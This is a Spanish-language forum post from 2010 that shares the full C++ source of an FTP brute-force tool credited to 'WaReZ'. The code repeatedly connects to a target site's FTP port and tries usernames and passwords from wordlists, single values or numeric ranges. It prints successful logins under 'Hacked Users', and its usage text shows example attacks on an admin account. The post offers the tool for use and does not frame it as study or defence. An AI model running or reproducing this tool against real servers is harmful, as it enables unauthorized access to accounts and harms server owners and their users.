Sáb Oct 02, 2010 4:46 pm
Código que como indica el titulo sirve para hacer un ataque de fuerza bruta a un servidor [Tienes que estar registrado y conectado para ver este vínculo]
- Código:
/*****
Ftp Brute Force , v1.0.
Written By WaReZ
-----------------
Options:
Single Username - Password list , Range passwords.
Usernames list - Passwords List , Single password , Range Passwords.
---------------------------------------------------------------------------------------------
Compile:
g++ [Tienes que estar registrado y conectado para ver este vínculo] -o [Tienes que estar registrado y conectado para ver este vínculo]
---------------------------------------------
*****/
#include <iostream>
#include <winsock.h>
#include <fstream>
#include <time.h>
using namespace std;
int ftp_connect(string user,string pass,char *site) {
sockaddr_in address;
size_t userSize = user.length()+1;
size_t passSize = pass.length()+1;
char username[userSize],password[passSize];
ZeroMemory(&username[0],userSize);
ZeroMemory(&password[0],passSize);
strncpy(username,user.c_str(),userSize);
strncpy(password,pass.c_str(),passSize);
char recv2[256];
ZeroMemory(&recv2,256);
hostent *host;
host = gethostbyname(site);
if(host != NULL)
{
int sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
address.sin_family = AF_INET;
address.sin_addr.s_addr = ((in_addr *)host->h_addr)->s_addr;
address.sin_port = htons(21);
int c,s,r;
c = connect(sock,(struct sockaddr*)&address,sizeof(address));
r = recv(sock,recv2,sizeof(recv2),0);
s = send(sock,username,strlen(username),0);
r = recv(sock,recv2,sizeof(recv2),0);
s = send(sock,password,sizeof(password),0);
r = recv(sock,recv2,sizeof(recv2),0);
if(strstr(recv2,"230"))
{
return 230;
}
else if(strstr(recv2,"530"))
{
return 530;
}
else if(c != 0)
{
return -1;
}
else
{
return WSAGetLastError();
}
}
else
{
return -1;
}
}
int main(int argc,char *argv[])
{
cout << "\n#####################################\n"
"# Ftp Brute Force #\n"
"# Written By WaReZ #\n"
"#####################################\n\n";
WSADATA wsaData;
if(WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
{
cout << "WSAGetLastError(): " << WSAGetLastError();
exit(1);
}
if(argc < 2)
{
cout << "Usage: " << argv[0] << "\n\n";
cout << "-user singal username\n";
cout << "-ul usernames list\n";
cout << "-start start range\n";
cout << "-end end range\n";
cout << "-pl passwords list\n";
cout << "-sp singal password for users list\n";
cout << "-site site that be checked\n\n";
cout << "Example: " << argv[0] << " -site site.com -user admin -start 0 -end 10000\n";
cout << " " << argv[0] << " -site site.com -ul users.txt -sp 123456\n";
}
else
{
cout << "[~] Starting ...\n\n";
char buffer[256],rcv[256];
int check = 0;
int tstart = 0 ,tend = 0;
int u = 0,start = 0 ,ul = 0,pl = 0,end = 0,spass = 0,check_site = 0,hacked = 0,line = 0,error = 0,attempt = 0;
string user,pass,site2,realuser,sinpass,realpass,fileusers,length,correct_pass;
char passwords[256],site[256] = "", users[256];
ifstream passlist,userlist;
for(int i = 1; i <= argc-1;i++)
{
if(argv[i+1] != NULL)
{
if(strstr(argv[i],"-user"))
{
realuser = argv[i+1];
user = "USER ";
user += argv[i+1];
user += "\r\n";
u = 1;
}
if(strstr(argv[i],"-start"))
{
tstart = atoi(argv[i+1]);
start = 1;
}
if(strstr(argv[i],"-end"))
{
tend = atoi(argv[i+1]);
end = 1;
}
if(strstr(argv[i],"-pl"))
{
passlist.open(argv[i+1]);
if(!passlist.fail())
{
pl = 1;
}
}
if(strstr(argv[i],"-site"))
{
site2 = argv[i+1];
strncpy(site,site2.c_str(),256);
check_site = 1;
}
if(strstr(argv[i],"-ul"))
{
userlist.open(argv[i+1]);
if(!userlist.fail())
{
ul = 1;
}
}
if(strstr(argv[i],"-sp"))
{
sinpass = argv[i+1];
realpass = argv[i+1];
spass = 1;
}
}
}
time_t time1;
time1 = time(NULL);
if(u == 1 && end == 1 && start == 1 && tstart < tend && check_site == 1)
{
for(int p = tstart; p <= tend; p++)
{
attempt+= 1;
pass = "PASS ";
pass+=itoa(p,buffer,10);
pass+= "\r\n";
int b = ftp_connect(user,pass,site);
if(b == 230)
{
cout << realuser << "::" << p << " - Succeed" << endl;
break;
}
else if(b == 530)
{
cout << realuser << "::" << p << " - Fail" << endl;
}
else if(b == -1)
{
cout << "\nError: Can't Connect to site , check if the site is really exist and he works.\n";
error = 1;
break;
}
else
{
cout << "WSAGetLastError: " << WSAGetLastError() << endl;
error = 1;
break;
}
attempt+= 1;
}
}
else if(pl == 1 && u == 1 && check_site == 1)
{
while(!passlist.eof())
{
attempt+= 1;
passlist.getline(passwords,100);
pass = "PASS ";
pass+= passwords;
pass+= "\r\n";
int b = ftp_connect(user,pass,site);
if(b == 230)
{
cout << realuser << "::" << passwords << " - Succeed" << endl;
hacked = 1;
break;
}
else if(b == 530)
{
cout << realuser << "::" << passwords << " - Fail" << endl;
}
else if(b == -1)
{
cout << "\nError: Can't Connect to site , check if the site is really exist and he works.\n";
error = 1;
break;
}
else
{
cout << "WSAGetLastError: " << WSAGetLastError() << endl;
error = 1;
break;
}
}
if(hacked == 0)
{
cout << "\n\nNon password was matched.\n\n";
}
}
else if(ul == 1 && pl == 1 && check_site == 1)
{
while(!userlist.eof())
{
userlist.getline(users,100);
user = "USER ";
user+= users;
user+= "\r\n";
while(!passlist.eof())
{
attempt+= 1;
passlist.getline(passwords,100);
pass = "PASS ";
pass+= passwords;
pass+= "\r\n";
int b = ftp_connect(user,pass,site);
if(b == 230)
{
cout << users << "::" << passwords << " - Succeed" << endl;
correct_pass+= users;
correct_pass+= "::";
correct_pass+= passwords;
correct_pass+= "\n";
hacked+= 1;
passlist.clear();
passlist.seekg(0,ios::beg);
cout << "-------------------------\n";
break;
}
else if(b == 530)
{
cout << users << "::" << passwords << " - Fail" << endl;
}
else if(b == -1)
{
cout << "\nError: Can't Connect to site , check if the site is really exist and he works.\n";
error = 1;
break;
}
else
{
cout << "WSAGetLastError: " << WSAGetLastError() << endl;
error = 1;
break;
}
if(passlist.eof())
{
cout << "-------------------------\n";
passlist.clear();
passlist.seekg(0,ios::beg);
break;
}
}
if(error == 1)
{
break;
}
}
if(error != 1)
{
if(hacked > 0)
{
cout << "\nHacked Users:\n\n";
cout << correct_pass;
cout << "\n" << hacked << " Users Was Hacked\n";
}
else
{
cout << "\n\nNon password was matched.\n\n";
}
}
}
else if(spass == 1 && ul == 1 && check_site == 1)
{
while(!userlist.eof())
{
attempt+= 1;
userlist.getline(users,100);
user = "USER ";
user+= users;
user+= "\r\n";
pass = "PASS ";
pass+= sinpass;
pass+= "\r\n";
int b = ftp_connect(user,pass,site);
if(b == 230)
{
cout << users << "::" << realpass << " - Succeed" << endl;
fileusers+= users;
fileusers+= "::";
fileusers+= realpass;
fileusers+= "\n";
hacked+= 1;
}
else if(b == 530)
{
cout << users << "::" << realpass << " - Fail" << endl;
}
else if(b == -1)
{
cout << "\nError: Can't Connect to site , check if the site is really exist and he works.\n";
error = 1;
break;
}
else
{
cout << "WSAGetLastError: " << WSAGetLastError() << endl;
error = 1;
break;
}
}
if(error != 1)
{
if(hacked > 0)
{
cout << "\n\nHacked Users:\n\n";
cout << fileusers;
cout << "\n" << hacked << " Users was Hacked\n";
}
else
{
cout << "\n\nNon password was matched.\n\n";
}
}
}
else if(ul == 1 && end == 1 && start == 1 && tstart < tend && check_site == 1)
{
while(!userlist.eof())
{
userlist.getline(users,100);
for(int d = tstart; d <= tend;d++)
{
attempt+= 1;
user = "USER ";
user+= users;
user+= "\r\n";
pass = "PASS ";
pass+= itoa(d,buffer,10);
pass+= "\r\n";
int b = ftp_connect(user,pass,site);
if(b == 230)
{
cout << users << "::" << d << " - Succeed" << endl;
fileusers+= users;
fileusers+= "::";
fileusers+= itoa(d,buffer,10);
fileusers+= "\n";
hacked+= 1;
break;
}
else if(b == 530)
{
cout << users << "::" << d << " - Fail" << endl;
}
else if(b == -1)
{
cout << "Error: Can't Connect to site , check if the site is really exist and he works.\n";
error = 1;
break;
}
else
{
cout << "WSAGetLastError: " << WSAGetLastError() << endl;
error = 1;
break;
}
}
cout << "----------------------\n";
}
if(error != 1)
{
if(hacked > 0)
{
cout << "\n\nHacked Users:\n\n";
cout << fileusers;
cout << "\n" << hacked << " Users was Hacked\n";
}
else
{
cout << "\n\nNon password was matched\n\n";
}
}
}
else
{
if(tstart > tend)
{
cout << "Error: Start range bigger then end range.\n";
}
else if(strlen(site) < 1)
{
cout << "Error: You forget to write the site.\n";
}
else if(passlist.fail() || userlist.fail())
{
cout << "Error: Can't open file , check if the file is really exist and he with correct permission.\n";
}
else
{
cout << "Error:\ncheck the arguments , maybe you forget to write something \nor you have mistake in some argument\nor that the option you chose not exist\n";
}
}
time_t time2;
time2 = time(NULL);
cout << "\nAttempts: " << attempt << "\n";
cout << "Time elapsed: " << time2-time1 << "\n";
}
}